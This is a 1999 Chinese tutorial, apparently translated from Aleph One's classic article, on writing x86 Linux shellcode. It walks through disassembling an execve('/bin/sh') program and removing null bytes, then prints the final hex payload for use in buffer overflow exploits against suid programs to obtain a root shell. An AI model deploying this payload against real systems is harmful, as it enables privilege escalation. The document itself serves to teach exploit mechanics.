抢在应用程序结束之前嵌入自己的shellcode,因为应用程序结束之前一般
而言还处在suid状态,那么此时执行的shellcode也就具有了suid特性,
于是拥有root权限的shell展现在你的眼前,还等什么?关于缓冲区溢出
本身回头再经典回放,力争做到通俗易懂,可以照猫画老虎,今天不提它了,:-)

3. 如何写Sun工作站上的shellcode?

建议去绿色兵团的Unix系统安全论坛学习这方面的知识,tt目前坐镇那里,
倒是展开了不少技术讨论,你可以只看不吭声,嘿嘿。
不过,只要稍微花点时间看看answer book中关于Sun工作站上的汇编那一
部分,原理是一致的,而且GNU工具也不是没有,如果你一定喜欢gdb而不是
dbx的话,faint

我是没有Sun工作站可以用了,否则今天就以它为例子来演习,可惜。

★ 后记

    最后再次向aleph1致敬,感谢tt为我们大家翻译整理了它。
    要是多一些这样的朋友,系统安全一定可以得到实质性提高。
    BTW,讨厌听别人说,怎么怎么黑了谁谁。
 


◆ Shell Code 的编写 
 
日期:1999-10-15 

    下面是一个创建Shell的C程序shellcode.c: (本文以IntelX86上的Linux为例说明)

void main() {
  char *name[2];

  name[0] = "/bin/sh";
  name[1] = NULL;
  execve(name[0], name, NULL);
}

我们先将它编译为执行代码,然后再用gdb来分析一下.(注意编译时要用-static选项,否则
execve的代码将不会放入执行代码,而是作为动态链接在运行时才链入.)
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 : pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : subl $0x8,%esp
0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)
0x800013d : movl $0x0,0xfffffffc(%ebp)
0x8000144 : pushl $0x0
0x8000146 : leal 0xfffffff8(%ebp),%eax
0x8000149 : pushl %eax
0x800014a : movl 0xfffffff8(%ebp),%eax
0x800014d : pushl %eax
0x800014e : call 0x80002bc <__execve>
0x8000153 : addl $0xc,%esp
0x8000156 : movl %ebp,%esp
0x8000158 : popl %ebp
0x8000159 : ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
------------------------------------------------------------------------------

下面我们来首先来分析一下main代码中每条语句的作用:

0x8000130 : pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : subl $0x8,%esp
这跟前面的例子一样,也是一段函数的入口处理,保存以前的栈帧指针,更新栈帧指针,
最后为局部变量留出空间.在这里,局部变量为:
char *name[2];
也就是两个字符指针.每个字符指针占用4个字节,所以总共留出了 8 个字节的位置.

0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)
这里, 将字符串"/bin/sh"的地址放入name[0]的内存单元中, 也就是相当于 : 
name[0] = "/bin/sh";

0x800013d : movl $0x0,0xfffffffc(%ebp)
将NULL放入name[1]的内存单元中, 也就是相当于:
name[1] = NULL;

对execve()的调用从下面开始:
0x8000144 : pushl $0x0
开始将参数以逆序压入堆栈, 第一个是NULL.

0x8000146 : leal 0xfffffff8(%ebp),%eax
0x8000149 : pushl %eax
将name[]的起始地址压入堆栈

0x800014a : movl 0xfffffff8(%ebp),%eax
0x800014d : pushl %eax
将字符串"/bin/sh"的地址压入堆栈

0x800014e : call 0x80002bc <__execve>
调用execve() . call 指令首先将 EIP 压入堆栈

------------------------------------------------------------------------------------

现在我们再来看一下execve()的代码. 首先要注意的是, 不同的操作系统,不同的CPU,他
们产生系统调用的方法也不尽相同. 有些使用软中断,有些使用远程调用.从参数传递的
角度来说,有些使用寄存器,有些使用堆栈.
我们的这个例子是在基于Intel X86的Linux上运行的.所以我们首先应该知道Linux中,
系统调用以软中断的方式产生( INT 80h),参数是通过寄存器传递给系统的.

0x80002bc <__execve>:  pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
同样的入口处理

0x80002c0 <__execve+4>: movl $0xb,%eax
将0xb(11)赋给eax , 这是execve()在系统中的索引号.

0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
将字符串"/bin/sh"的地址赋给ebx

0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
将name[]的地址赋给ecx

0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
将NULL的地址赋给edx

0x80002ce <__execve+18>: int $0x80
产生系统调用,进入核心态运行.

------------------------------------------------------------------------------------

看了上面的代码,现在我们可以把它精简为下面的汇编语言程序:

leal string,string_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int   $0x80
(我对Linux的汇编语言格式了解不多,所以这几句使用的是DOS汇编语言的格式)
string db "/bin/sh",0
string_addr dd 0
null_addr  dd 0
-------------------------------------------------------------------------------------

但是这段代码中还存在着一个问题 ,就是我们在编写ShellCode时并不知道这段程序执行
时在内存中所处的位置,所以像:
movl string_addr,%ebx
这种需要将绝对地址编码进机器语言的指令根本就没法使用.

解决这个问题的一个办法就是使用一条额外的JMP和CALL指令. 因为这两条指令编码使
用的都是 相对于IP的偏移地址而不是绝对地址, 所以我们可以在ShellCode的最开始加
入一条JMP指令, 在string前加入一条CALL指令. 只要我们计算好程序编码的字节长度
,就可以使JMP指令跳转到CALL指令处执行,而CALL指令则指向JMP的下一条指令,因为在
执行CALL指令时,CPU会将返回地址(在这里就是string的地址)压入堆栈,所以这样我们
就可以在运行时获得string的绝对地址.通过这个地址加偏移的间接寻址方法,我们还
可以很方便地存取string_addr和null_addr.

------------------------------------------------------------------------------
经过上面的修改,我们的ShellCode变成了下面的样子:

jmp  0x20
popl esi
movb $0x0,0x7(%esi)
movl %esi,0x8(%esi)
movl $0x0,0xC(%esi)
movl $0xb,%eax
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xC(%esi),%edx
int  $0x80
call -0x25
string db "/bin/sh",0 
string_addr dd 0
null_addr  dd 0 # 2 bytes,跳转到CALL
# 1 byte, 弹出string地址
# 4 bytes,将string变为以'\0'结尾的字符串 
# 7 bytes 
# 5 bytes
# 2 bytes
# 3 bytes
# 3 bytes
# 2 bytes
# 5 bytes,跳转到popl %esi



------------------------------------------------------------------------------------

我们知道C语言中的字符串以'\0'结尾,strcpy等函数遇到'\0'就结束运行.因此
为了保证我们的ShellCode能被完整地拷贝到Buffer中,ShellCode中一定不能含
有'\0'. 下面我们就对它作最后一次改进,去掉其中的'\0':

原指令:          替换为:
--------------------------------------------------------
movb $0x0,0x7(%esi)    xorl %eax,%eax
movl $0x0,0xc(%esi)    movb %eax,0x7(%esi)
               movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax       movb $0xb,%al
--------------------------------------------------------

OK! 现在我们可以试验一下这段ShellCode了. 首先我们把它封装为C语言的形式.
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x18       # 2 bytes
popl %esi      # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax    # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al    # 2 bytes
movl %esi,%ebx    # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80      # 2 bytes
call -0x2d      # 5 bytes
.string \"/bin/sh\" # 8 bytes
");
}
------------------------------------------------------------------------------

经过编译后,用gdb得到这段汇编语言的机器代码为:
\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b
\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xec\xff\xff\xff/bin/sh

接着我们就可以利用这段代码编写溢出程序了。(具体方法可以参考“缓冲区溢出机理分析”)

 
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